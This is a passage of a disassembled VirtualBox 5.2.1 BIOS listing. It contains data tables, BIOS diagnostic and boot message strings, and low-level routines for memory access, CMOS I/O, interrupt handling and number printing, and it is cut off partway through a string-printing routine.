; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
section _DATA progbits vstart=0x0 align=1 ; size=0xb0 class=DATA group=DGROUP
_fd_parm: ; 0xf0000 LB 0x5b
db 0dfh, 002h, 025h, 002h, 009h, 02ah, 0ffh, 050h, 0f6h, 00fh, 008h, 027h, 080h, 0dfh, 002h, 025h
db 002h, 009h, 02ah, 0ffh, 050h, 0f6h, 00fh, 008h, 027h, 040h, 0dfh, 002h, 025h, 002h, 00fh, 01bh
db 0ffh, 054h, 0f6h, 00fh, 008h, 04fh, 000h, 0dfh, 002h, 025h, 002h, 009h, 02ah, 0ffh, 050h, 0f6h
db 00fh, 008h, 04fh, 080h, 0afh, 002h, 025h, 002h, 012h, 01bh, 0ffh, 06ch, 0f6h, 00fh, 008h, 04fh
db 000h, 0afh, 002h, 025h, 002h, 024h, 01bh, 0ffh, 054h, 0f6h, 00fh, 008h, 04fh, 0c0h, 0afh, 002h
db 025h, 002h, 0ffh, 01bh, 0ffh, 054h, 0f6h, 00fh, 008h, 0ffh, 000h
_fd_map: ; 0xf005b LB 0xf
db 001h, 000h, 002h, 002h, 003h, 003h, 004h, 004h, 005h, 005h, 00eh, 006h, 00fh, 006h, 000h
_pktacc: ; 0xf006a LB 0xc
db 000h, 000h, 000h, 000h, 000h, 000h, 0c1h, 02bh, 02bh, 082h, 00ch, 092h
_softrst: ; 0xf0076 LB 0xc
db 000h, 000h, 000h, 000h, 000h, 000h, 04ch, 02eh, 04eh, 03ch, 04eh, 03ch
_dskacc: ; 0xf0082 LB 0x2e
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0a5h, 02ah, 066h, 02bh, 000h, 000h, 000h, 000h
db 059h, 080h, 042h, 081h, 0dah, 090h, 084h, 091h, 000h, 000h, 000h, 000h, 000h, 000h, 05fh, 033h
db 032h, 05fh, 000h, 0dah, 00fh, 000h, 000h, 001h, 0f3h, 000h, 000h, 000h, 000h, 000h
section CONST progbits vstart=0xb0 align=1 ; size=0xcde class=DATA group=DGROUP
db 'NMI Handler called', 00ah, 000h
db 'INT18: BOOT FAILURE', 00ah, 000h
db '%s', 00ah, 000h, 000h
db 'FATAL: ', 000h
db 'bios_printf: unknown %ll format', 00ah, 000h
db 'bios_printf: unknown format', 00ah, 000h
db 'ata-detect: Failed to detect ATA device', 00ah, 000h
db 'ata%d-%d: PCHS=%u/%u/%u LCHS=%u/%u/%u', 00ah, 000h
db 'ata-detect: Failed to detect ATAPI device', 00ah, 000h
db ' slave', 000h
db 'master', 000h
db 'ata%d %s: ', 000h
db '%c', 000h
db ' ATA-%d Hard-Disk (%lu MBytes)', 00ah, 000h
db ' ATAPI-%d CD-ROM/DVD-ROM', 00ah, 000h
db ' ATAPI-%d Device', 00ah, 000h
db 'ata%d %s: Unknown device', 00ah, 000h
db 'ata_cmd_packet', 000h
db '%s: DATA_OUT not supported yet', 00ah, 000h
db 'set_diskette_current_cyl: drive > 1', 00ah, 000h
db 'int13_diskette_function', 000h
db '%s: drive>1 || head>1 ...', 00ah, 000h
db '%s: ctrl not ready', 00ah, 000h
db '%s: write error', 00ah, 000h
db '%s: bad floppy type', 00ah, 000h
db '%s: unsupported AH=%02x', 00ah, 000h, 000h
db 'int13_eltorito', 000h
db '%s: call with AX=%04x not implemented.', 00ah, 000h
db '%s: unsupported AH=%02x', 00ah, 000h
db 'int13_cdemu', 000h
db '%s: function %02x, emulation not active for DL= %02x', 00ah, 000h
db '%s: function %02x, error %02x !', 00ah, 000h
db '%s: function AH=%02x unsupported, returns fail', 00ah, 000h
db 'int13_cdrom', 000h
db '%s: function %02x, ELDL out of range %02x', 00ah, 000h
db '%s: function %02x, unmapped device for ELDL=%02x', 00ah, 000h
db '%s: function %02x. Can', 027h, 't use 64bits lba', 00ah, 000h
db '%s: function %02x, status %02x !', 00ah, 000h, 000h
db 'Booting from %s...', 00ah, 000h
db 'Boot from %s failed', 00ah, 000h
db 'Boot from %s %d failed', 00ah, 000h
db 'No bootable medium found! System halted.', 00ah, 000h
db 'Could not read from the boot medium! System halted.', 00ah, 000h
db 'CDROM boot failure code : %04x', 00ah, 000h
db 'Boot : bseqnr=%d, bootseq=%x', 00dh, 00ah, 000h, 000h
db 'Keyboard error:%u', 00ah, 000h
db 'KBD: int09 handler: AL=0', 00ah, 000h
db 'KBD: int09h_handler(): unknown scancode read: 0x%02x!', 00ah, 000h
db 'KBD: int09h_handler(): scancode & asciicode are zero?', 00ah, 000h
db 'KBD: int16h: out of keyboard input', 00ah, 000h
db 'KBD: unsupported int 16h function %02x', 00ah, 000h
db 'AX=%04x BX=%04x CX=%04x DX=%04x ', 00ah, 000h, 000h
db 'int13_harddisk', 000h
db '%s: function %02x, ELDL out of range %02x', 00ah, 000h
db '%s: function %02x, unmapped device for ELDL=%02x', 00ah, 000h
db '%s: function %02x, count out of range!', 00ah, 000h
db '%s: function %02x, disk %02x, parameters out of range %04x/%04x/%04x!', 00ah
db 000h
db '%s: function %02x, error %02x !', 00ah, 000h
db 'format disk track called', 00ah, 000h
db '%s: function %02xh unimplemented, returns success', 00ah, 000h
db '%s: function %02xh unsupported, returns fail', 00ah, 000h
db 'int13_harddisk_ext', 000h
db '%s: function %02x. LBA out of range', 00ah, 000h, 000h
db 'int15: Func 24h, subfunc %02xh, A20 gate control not supported', 00ah, 000h
db '*** int 15h function AH=bf not yet supported!', 00ah, 000h
db 'EISA BIOS not present', 00ah, 000h
db '*** int 15h function AX=%04x, BX=%04x not yet supported!', 00ah, 000h
db 'sendmouse', 000h
db 'setkbdcomm', 000h
db 'Mouse reset returned %02x (should be ack)', 00ah, 000h
db 'Mouse status returned %02x (should be ack)', 00ah, 000h
db 'INT 15h C2 AL=6, BH=%02x', 00ah, 000h
db 'INT 15h C2 default case entered', 00ah, 000h, 000h
db 'Key pressed: %x', 00ah, 000h
db 00ah, 00ah, ' AHCI controller:', 000h
db 00ah, ' %d) Hard disk', 000h
db 00ah, 00ah, ' SCSI controller:', 000h
db ' IDE controller:', 000h
db 00ah, 00ah, 'AHCI controller:', 00ah, 000h
db 00ah, ' %d) ', 000h
db 'Secondary ', 000h
db 'Primary ', 000h
db 'Slave', 000h
db 'Master', 000h
db 'No hard disks found', 000h
db 00ah, 000h
db 'Press F12 to select boot device.', 00ah, 000h
db 00ah, 'VirtualBox temporary boot device selection', 00ah, 00ah, 'Detected H'
db 'ard disks:', 00ah, 00ah, 000h
db 00ah, 'Other boot devices:', 00ah, ' f) Floppy', 00ah, ' c) CD-ROM', 00ah
db ' l) LAN', 00ah, 00ah, ' b) Continue booting', 00ah, 000h
db 'Delaying boot for %d seconds:', 000h
db ' %d', 000h, 000h
db 'scsi_read_sectors', 000h
db '%s: device_id out of range %d', 00ah, 000h
db 'scsi_write_sectors', 000h
db 'scsi_cmd_packet', 000h
db '%s: DATA_OUT not supported yet', 00ah, 000h
db 'scsi_enumerate_attached_devices', 000h
db '%s: SCSI_INQUIRY failed', 00ah, 000h
db '%s: SCSI_READ_CAPACITY failed', 00ah, 000h
db 'Disk %d has an unsupported sector size of %u', 00ah, 000h
db 'SCSI %d-ID#%d: LCHS=%lu/%u/%u 0x%llx sectors', 00ah, 000h
db 'SCSI %d-ID#%d: CD/DVD-ROM', 00ah, 000h, 000h
db 'ahci_read_sectors', 000h
db '%s: device_id out of range %d', 00ah, 000h
db 'ahci_write_sectors', 000h
db 'ahci_cmd_packet', 000h
db '%s: DATA_OUT not supported yet', 00ah, 000h
db 'AHCI %d-P#%d: PCHS=%u/%u/%u LCHS=%u/%u/%u 0x%llx sectors', 00ah, 000h
db 'Standby', 000h
db 'Suspend', 000h
db 'Shutdown', 000h
db 'APM: Unsupported function AX=%04X BX=%04X called', 00ah, 000h, 000h
db 'PCI: Unsupported function AX=%04X BX=%04X called', 00ah, 000h
section CONST2 progbits vstart=0xd8e align=1 ; size=0x3fa class=DATA group=DGROUP
_bios_cvs_version_string: ; 0xf0d8e LB 0x12
db 'VirtualBox 5.2.1', 000h, 000h
_bios_prefix_string: ; 0xf0da0 LB 0x8
db 'BIOS: ', 000h, 000h
_isotag: ; 0xf0da8 LB 0x6
db 'CD001', 000h
_eltorito: ; 0xf0dae LB 0x18
db 'EL TORITO SPECIFICATION', 000h
_drivetypes: ; 0xf0dc6 LB 0x28
db 046h, 06ch, 06fh, 070h, 070h, 079h, 000h, 000h, 000h, 000h, 048h, 061h, 072h, 064h, 020h, 044h
db 069h, 073h, 06bh, 000h, 043h, 044h, 02dh, 052h, 04fh, 04dh, 000h, 000h, 000h, 000h, 04ch, 041h
db 04eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h
_scan_to_scanascii: ; 0xf0dee LB 0x37a
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 01bh, 001h, 01bh, 001h, 01bh, 001h
db 000h, 001h, 000h, 000h, 031h, 002h, 021h, 002h, 000h, 000h, 000h, 078h, 000h, 000h, 032h, 003h
db 040h, 003h, 000h, 003h, 000h, 079h, 000h, 000h, 033h, 004h, 023h, 004h, 000h, 000h, 000h, 07ah
db 000h, 000h, 034h, 005h, 024h, 005h, 000h, 000h, 000h, 07bh, 000h, 000h, 035h, 006h, 025h, 006h
db 000h, 000h, 000h, 07ch, 000h, 000h, 036h, 007h, 05eh, 007h, 01eh, 007h, 000h, 07dh, 000h, 000h
db 037h, 008h, 026h, 008h, 000h, 000h, 000h, 07eh, 000h, 000h, 038h, 009h, 02ah, 009h, 000h, 000h
db 000h, 07fh, 000h, 000h, 039h, 00ah, 028h, 00ah, 000h, 000h, 000h, 080h, 000h, 000h, 030h, 00bh
db 029h, 00bh, 000h, 000h, 000h, 081h, 000h, 000h, 02dh, 00ch, 05fh, 00ch, 01fh, 00ch, 000h, 082h
db 000h, 000h, 03dh, 00dh, 02bh, 00dh, 000h, 000h, 000h, 083h, 000h, 000h, 008h, 00eh, 008h, 00eh
db 07fh, 00eh, 000h, 000h, 000h, 000h, 009h, 00fh, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h
db 071h, 010h, 051h, 010h, 011h, 010h, 000h, 010h, 040h, 000h, 077h, 011h, 057h, 011h, 017h, 011h
db 000h, 011h, 040h, 000h, 065h, 012h, 045h, 012h, 005h, 012h, 000h, 012h, 040h, 000h, 072h, 013h
db 052h, 013h, 012h, 013h, 000h, 013h, 040h, 000h, 074h, 014h, 054h, 014h, 014h, 014h, 000h, 014h
db 040h, 000h, 079h, 015h, 059h, 015h, 019h, 015h, 000h, 015h, 040h, 000h, 075h, 016h, 055h, 016h
db 015h, 016h, 000h, 016h, 040h, 000h, 069h, 017h, 049h, 017h, 009h, 017h, 000h, 017h, 040h, 000h
db 06fh, 018h, 04fh, 018h, 00fh, 018h, 000h, 018h, 040h, 000h, 070h, 019h, 050h, 019h, 010h, 019h
db 000h, 019h, 040h, 000h, 05bh, 01ah, 07bh, 01ah, 01bh, 01ah, 000h, 000h, 000h, 000h, 05dh, 01bh
db 07dh, 01bh, 01dh, 01bh, 000h, 000h, 000h, 000h, 00dh, 01ch, 00dh, 01ch, 00ah, 01ch, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 061h, 01eh, 041h, 01eh
db 001h, 01eh, 000h, 01eh, 040h, 000h, 073h, 01fh, 053h, 01fh, 013h, 01fh, 000h, 01fh, 040h, 000h
db 064h, 020h, 044h, 020h, 004h, 020h, 000h, 020h, 040h, 000h, 066h, 021h, 046h, 021h, 006h, 021h
db 000h, 021h, 040h, 000h, 067h, 022h, 047h, 022h, 007h, 022h, 000h, 022h, 040h, 000h, 068h, 023h
db 048h, 023h, 008h, 023h, 000h, 023h, 040h, 000h, 06ah, 024h, 04ah, 024h, 00ah, 024h, 000h, 024h
db 040h, 000h, 06bh, 025h, 04bh, 025h, 00bh, 025h, 000h, 025h, 040h, 000h, 06ch, 026h, 04ch, 026h
db 00ch, 026h, 000h, 026h, 040h, 000h, 03bh, 027h, 03ah, 027h, 000h, 000h, 000h, 000h, 000h, 000h
db 027h, 028h, 022h, 028h, 000h, 000h, 000h, 000h, 000h, 000h, 060h, 029h, 07eh, 029h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 05ch, 02bh
db 07ch, 02bh, 01ch, 02bh, 000h, 000h, 000h, 000h, 07ah, 02ch, 05ah, 02ch, 01ah, 02ch, 000h, 02ch
db 040h, 000h, 078h, 02dh, 058h, 02dh, 018h, 02dh, 000h, 02dh, 040h, 000h, 063h, 02eh, 043h, 02eh
db 003h, 02eh, 000h, 02eh, 040h, 000h, 076h, 02fh, 056h, 02fh, 016h, 02fh, 000h, 02fh, 040h, 000h
db 062h, 030h, 042h, 030h, 002h, 030h, 000h, 030h, 040h, 000h, 06eh, 031h, 04eh, 031h, 00eh, 031h
db 000h, 031h, 040h, 000h, 06dh, 032h, 04dh, 032h, 00dh, 032h, 000h, 032h, 040h, 000h, 02ch, 033h
db 03ch, 033h, 000h, 000h, 000h, 000h, 000h, 000h, 02eh, 034h, 03eh, 034h, 000h, 000h, 000h, 000h
db 000h, 000h, 02fh, 035h, 03fh, 035h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 02ah, 037h, 02ah, 037h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 020h, 039h, 020h, 039h, 020h, 039h
db 020h, 039h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 03bh
db 000h, 054h, 000h, 05eh, 000h, 068h, 000h, 000h, 000h, 03ch, 000h, 055h, 000h, 05fh, 000h, 069h
db 000h, 000h, 000h, 03dh, 000h, 056h, 000h, 060h, 000h, 06ah, 000h, 000h, 000h, 03eh, 000h, 057h
db 000h, 061h, 000h, 06bh, 000h, 000h, 000h, 03fh, 000h, 058h, 000h, 062h, 000h, 06ch, 000h, 000h
db 000h, 040h, 000h, 059h, 000h, 063h, 000h, 06dh, 000h, 000h, 000h, 041h, 000h, 05ah, 000h, 064h
db 000h, 06eh, 000h, 000h, 000h, 042h, 000h, 05bh, 000h, 065h, 000h, 06fh, 000h, 000h, 000h, 043h
db 000h, 05ch, 000h, 066h, 000h, 070h, 000h, 000h, 000h, 044h, 000h, 05dh, 000h, 067h, 000h, 071h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 047h, 037h, 047h, 000h, 077h, 000h, 000h, 020h, 000h
db 000h, 048h, 038h, 048h, 000h, 000h, 000h, 000h, 020h, 000h, 000h, 049h, 039h, 049h, 000h, 084h
db 000h, 000h, 020h, 000h, 02dh, 04ah, 02dh, 04ah, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 04bh
db 034h, 04bh, 000h, 073h, 000h, 000h, 020h, 000h, 000h, 04ch, 035h, 04ch, 000h, 000h, 000h, 000h
db 020h, 000h, 000h, 04dh, 036h, 04dh, 000h, 074h, 000h, 000h, 020h, 000h, 02bh, 04eh, 02bh, 04eh
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 04fh, 031h, 04fh, 000h, 075h, 000h, 000h, 020h, 000h
db 000h, 050h, 032h, 050h, 000h, 000h, 000h, 000h, 020h, 000h, 000h, 051h, 033h, 051h, 000h, 076h
db 000h, 000h, 020h, 000h, 000h, 052h, 030h, 052h, 000h, 000h, 000h, 000h, 020h, 000h, 000h, 053h
db 02eh, 053h, 000h, 000h, 000h, 000h, 020h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 05ch, 056h, 07ch, 056h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 085h, 000h, 087h, 000h, 089h, 000h, 08bh, 000h, 000h
db 000h, 086h, 000h, 088h, 000h, 08ah, 000h, 08ch, 000h, 000h
_panic_msg_keyb_buffer_full: ; 0xf1168 LB 0x20
db '%s: keyboard input buffer full', 00ah, 000h
; Padding 0x478 bytes at 0xf1188
times 1144 db 0
section _TEXT progbits vstart=0x1600 align=1 ; size=0x8ed8 class=CODE group=AUTO
rom_scan_: ; 0xf1600 LB 0x52
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov bx, ax ; 89 c3
mov di, dx ; 89 d7
cmp bx, di ; 39 fb
jnc short 01649h ; 73 38
xor si, si ; 31 f6
mov dx, bx ; 89 da
mov es, bx ; 8e c3
cmp word [es:si], 0aa55h ; 26 81 3c 55 aa
jne short 01643h ; 75 25
mov word [bp-00ah], bx ; 89 5e f6
mov word [bp-00ch], strict word 00003h ; c7 46 f4 03 00
call far [bp-00ch] ; ff 5e f4
cli ; fa
mov es, bx ; 8e c3
mov al, byte [es:si+002h] ; 26 8a 44 02
add AL, strict byte 003h ; 04 03
and AL, strict byte 0fch ; 24 fc
xor ah, ah ; 30 e4
cwd ; 99
mov CL, strict byte 002h ; b1 02
sal dx, CL ; d3 e2
db 01bh, 0c2h
; sbb ax, dx ; 1b c2
sar ax, CL ; d3 f8
add bx, ax ; 01 c3
jmp short 0160dh ; eb ca
add bx, 00080h ; 81 c3 80 00
jmp short 0160dh ; eb c4
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
read_byte_: ; 0xf1652 LB 0xe
push bx ; 53
push bp ; 55
mov bp, sp ; 89 e5
mov bx, dx ; 89 d3
mov es, ax ; 8e c0
mov al, byte [es:bx] ; 26 8a 07
pop bp ; 5d
pop bx ; 5b
retn ; c3
write_byte_: ; 0xf1660 LB 0xe
push si ; 56
push bp ; 55
mov bp, sp ; 89 e5
mov si, dx ; 89 d6
mov es, ax ; 8e c0
mov byte [es:si], bl ; 26 88 1c
pop bp ; 5d
pop si ; 5e
retn ; c3
read_word_: ; 0xf166e LB 0xe
push bx ; 53
push bp ; 55
mov bp, sp ; 89 e5
mov bx, dx ; 89 d3
mov es, ax ; 8e c0
mov ax, word [es:bx] ; 26 8b 07
pop bp ; 5d
pop bx ; 5b
retn ; c3
write_word_: ; 0xf167c LB 0xe
push si ; 56
push bp ; 55
mov bp, sp ; 89 e5
mov si, dx ; 89 d6
mov es, ax ; 8e c0
mov word [es:si], bx ; 26 89 1c
pop bp ; 5d
pop si ; 5e
retn ; c3
read_dword_: ; 0xf168a LB 0x12
push bx ; 53
push bp ; 55
mov bp, sp ; 89 e5
mov bx, dx ; 89 d3
mov es, ax ; 8e c0
mov ax, word [es:bx] ; 26 8b 07
mov dx, word [es:bx+002h] ; 26 8b 57 02
pop bp ; 5d
pop bx ; 5b
retn ; c3
write_dword_: ; 0xf169c LB 0x12
push si ; 56
push bp ; 55
mov bp, sp ; 89 e5
mov si, dx ; 89 d6
mov es, ax ; 8e c0
mov word [es:si], bx ; 26 89 1c
mov word [es:si+002h], cx ; 26 89 4c 02
pop bp ; 5d
pop si ; 5e
retn ; c3
inb_cmos_: ; 0xf16ae LB 0x1b
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov AH, strict byte 070h ; b4 70
cmp AL, strict byte 080h ; 3c 80
jc short 016bah ; 72 02
mov AH, strict byte 072h ; b4 72
mov dl, ah ; 88 e2
xor dh, dh ; 30 f6
out DX, AL ; ee
inc dx ; 42
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
outb_cmos_: ; 0xf16c9 LB 0x1d
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
mov bl, dl ; 88 d3
mov AH, strict byte 070h ; b4 70
cmp AL, strict byte 080h ; 3c 80
jc short 016d7h ; 72 02
mov AH, strict byte 072h ; b4 72
mov dl, ah ; 88 e2
xor dh, dh ; 30 f6
out DX, AL ; ee
inc dx ; 42
mov al, bl ; 88 d8
out DX, AL ; ee
lea sp, [bp-002h] ; 8d 66 fe
pop bx ; 5b
pop bp ; 5d
retn ; c3
_dummy_isr_function: ; 0xf16e6 LB 0x65
push bp ; 55
mov bp, sp ; 89 e5
push ax ; 50
mov CL, strict byte 0ffh ; b1 ff
mov AL, strict byte 00bh ; b0 0b
mov dx, strict word 00020h ; ba 20 00
out DX, AL ; ee
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bx, ax ; 89 c3
mov byte [bp-002h], al ; 88 46 fe
test al, al ; 84 c0
je short 0173ah ; 74 3c
mov AL, strict byte 00bh ; b0 0b
mov dx, 000a0h ; ba a0 00
out DX, AL ; ee
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov cx, ax ; 89 c1
test al, al ; 84 c0
je short 01722h ; 74 15
mov dx, 000a1h ; ba a1 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, al ; 88 c3
mov al, cl ; 88 c8
or al, bl ; 08 d8
out DX, AL ; ee
mov AL, strict byte 020h ; b0 20
mov dx, 000a0h ; ba a0 00
out DX, AL ; ee
jmp short 01731h ; eb 0f
mov dx, strict word 00021h ; ba 21 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and bl, 0fbh ; 80 e3 fb
mov byte [bp-002h], bl ; 88 5e fe
or al, bl ; 08 d8
out DX, AL ; ee
mov AL, strict byte 020h ; b0 20
mov dx, strict word 00020h ; ba 20 00
out DX, AL ; ee
mov cl, byte [bp-002h] ; 8a 4e fe
mov bl, cl ; 88 cb
xor bh, bh ; 30 ff
mov dx, strict word 0006bh ; ba 6b 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 19 ff
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
_nmi_handler_msg: ; 0xf174b LB 0x15
push bp ; 55
mov bp, sp ; 89 e5
mov ax, 000b0h ; b8 b0 00
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 1d 02
add sp, strict byte 00004h ; 83 c4 04
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
_int18_panic_msg: ; 0xf1760 LB 0x15
push bp ; 55
mov bp, sp ; 89 e5
mov ax, 000c4h ; b8 c4 00
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 08 02
add sp, strict byte 00004h ; 83 c4 04
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
_log_bios_start: ; 0xf1775 LB 0x24
push bp ; 55
mov bp, sp ; 89 e5
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 b0 01
mov ax, 00d8eh ; b8 8e 0d
push ax ; 50
mov ax, 000d9h ; b8 d9 00
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 e4 01
add sp, strict byte 00006h ; 83 c4 06
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
_print_bios_banner: ; 0xf1799 LB 0x2e
push bp ; 55
mov bp, sp ; 89 e5
mov dx, strict word 00072h ; ba 72 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 c9 fe
mov cx, ax ; 89 c1
xor bx, bx ; 31 db
mov dx, strict word 00072h ; ba 72 00
mov ax, strict word 00040h ; b8 40 00
call 0167ch ; e8 ca fe
cmp cx, 01234h ; 81 f9 34 12
jne short 017c0h ; 75 08
mov AL, strict byte 003h ; b0 03
mov AH, strict byte 000h ; b4 00
int 010h ; cd 10
jmp short 017c3h ; eb 03
call 07beeh ; e8 2b 64
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
send_: ; 0xf17c7 LB 0x3b
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
mov bx, ax ; 89 c3
mov cl, dl ; 88 d1
test AL, strict byte 008h ; a8 08
je short 017dah ; 74 06
mov al, dl ; 88 d0
mov dx, 00403h ; ba 03 04
out DX, AL ; ee
test bl, 004h ; f6 c3 04
je short 017e5h ; 74 06
mov al, cl ; 88 c8
mov dx, 00504h ; ba 04 05
out DX, AL ; ee
test bl, 002h ; f6 c3 02
je short 017fbh ; 74 11
cmp cl, 00ah ; 80 f9 0a
jne short 017f5h ; 75 06
mov AL, strict byte 00dh ; b0 0d
mov AH, strict byte 00eh ; b4 0e
int 010h ; cd 10
mov al, cl ; 88 c8
mov AH, strict byte 00eh ; b4 0e
int 010h ; cd 10
lea sp, [bp-004h] ; 8d 66 fc
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
put_int_: ; 0xf1802 LB 0x63
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov si, ax ; 89 c6
mov word [bp-008h], dx ; 89 56 f8
mov di, bx ; 89 df
mov bx, strict word 0000ah ; bb 0a 00
mov ax, dx ; 89 d0
cwd ; 99
idiv bx ; f7 fb
mov word [bp-006h], ax ; 89 46 fa
test ax, ax ; 85 c0
je short 0182bh ; 74 0c
lea bx, [di-001h] ; 8d 5d ff
mov dx, ax ; 89 c2
mov ax, si ; 89 f0
call 01802h ; e8 d9 ff
jmp short 01846h ; eb 1b
dec di ; 4f
test di, di ; 85 ff
jle short 0183ah ; 7e 0a
mov dx, strict word 00020h ; ba 20 00
mov ax, si ; 89 f0
call 017c7h ; e8 8f ff
jmp short 0182bh ; eb f1
test cx, cx ; 85 c9
je short 01846h ; 74 08
mov dx, strict word 0002dh ; ba 2d 00
mov ax, si ; 89 f0
call 017c7h ; e8 81 ff
mov al, byte [bp-006h] ; 8a 46 fa
mov BL, strict byte 00ah ; b3 0a
mul bl ; f6 e3
mov bl, byte [bp-008h] ; 8a 5e f8
sub bl, al ; 28 c3
add bl, 030h ; 80 c3 30
xor bh, bh ; 30 ff
mov dx, bx ; 89 da
mov ax, si ; 89 f0
call 017c7h ; e8 69 ff
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
put_uint_: ; 0xf1865 LB 0x5e
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov si, ax ; 89 c6
mov word [bp-008h], dx ; 89 56 f8
mov ax, dx ; 89 d0
xor dx, dx ; 31 d2
mov di, strict word 0000ah ; bf 0a 00
div di ; f7 f7
mov word [bp-006h], ax ; 89 46 fa
test ax, ax ; 85 c0
je short 0188bh ; 74 0a
dec bx ; 4b
mov dx, ax ; 89 c2
mov ax, si ; 89 f0
call 01865h ; e8 dc ff
jmp short 018a6h ; eb 1b
dec bx ; 4b
test bx, bx ; 85 db
jle short 0189ah ; 7e 0a
mov dx, strict word 00020h ; ba 20 00
mov ax, si ; 89 f0
call 017c7h ; e8 2f ff
jmp short 0188bh ; eb f1
test cx, cx ; 85 c9
je short 018a6h ; 74 08
mov dx, strict word 0002dh ; ba 2d 00
mov ax, si ; 89 f0
call 017c7h ; e8 21 ff
mov al, byte [bp-006h] ; 8a 46 fa
mov DL, strict byte 00ah ; b2 0a
mul dl ; f6 e2
mov dl, byte [bp-008h] ; 8a 56 f8
sub dl, al ; 28 c2
add dl, 030h ; 80 c2 30
xor dh, dh ; 30 f6
mov ax, si ; 89 f0
call 017c7h ; e8 0b ff
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
put_luint_: ; 0xf18c3 LB 0x70
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov si, ax ; 89 c6
mov word [bp-006h], bx ; 89 5e fa
mov di, dx ; 89 d7
mov ax, bx ; 89 d8
mov dx, cx ; 89 ca
mov bx, strict word 0000ah ; bb 0a 00
xor cx, cx ; 31 c9
call 0a170h ; e8 93 88
mov word [bp-008h], ax ; 89 46 f8
mov cx, dx ; 89 d1
mov dx, ax ; 89 c2
or dx, cx ; 09 ca
je short 018f7h ; 74 0f
push word [bp+004h] ; ff 76 04
lea dx, [di-001h] ; 8d 55 ff
mov bx, ax ; 89 c3
mov ax, si ; 89 f0
call 018c3h ; e8 ce ff
jmp short 01914h ; eb 1d
dec di ; 4f
test di, di ; 85 ff
jle short 01906h ; 7e 0a
mov dx, strict word 00020h ; ba 20 00
mov ax, si ; 89 f0
call 017c7h ; e8 c3 fe
jmp short 018f7h ; eb f1
cmp word [bp+004h], strict byte 00000h ; 83 7e 04 00
je short 01914h ; 74 08
mov dx, strict word 0002dh ; ba 2d 00
mov ax, si ; 89 f0
call 017c7h ; e8 b3 fe
mov al, byte [bp-008h] ; 8a 46 f8
mov DL, strict byte 00ah ; b2 0a
mul dl ; f6 e2
mov dl, byte [bp-006h] ; 8a 56 fa
sub dl, al ; 28 c2
add dl, 030h ; 80 c2 30
xor dh, dh ; 30 f6
mov ax, si ; 89 f0
call 017c7h ; e8 9d fe
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00002h ; c2 02 00
put_str_: ; 0xf1933 LB 0x21
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
push si ; 56
mov si, ax ; 89 c6
mov es, cx ; 8e c1
mov dl, byte [es:bx] ; 26 8a 17
test dl, dl ; 84 d2
je short 0194dh ; 74 0a
xor dh, dh ; 30 f6
mov ax, si ; 89 f0
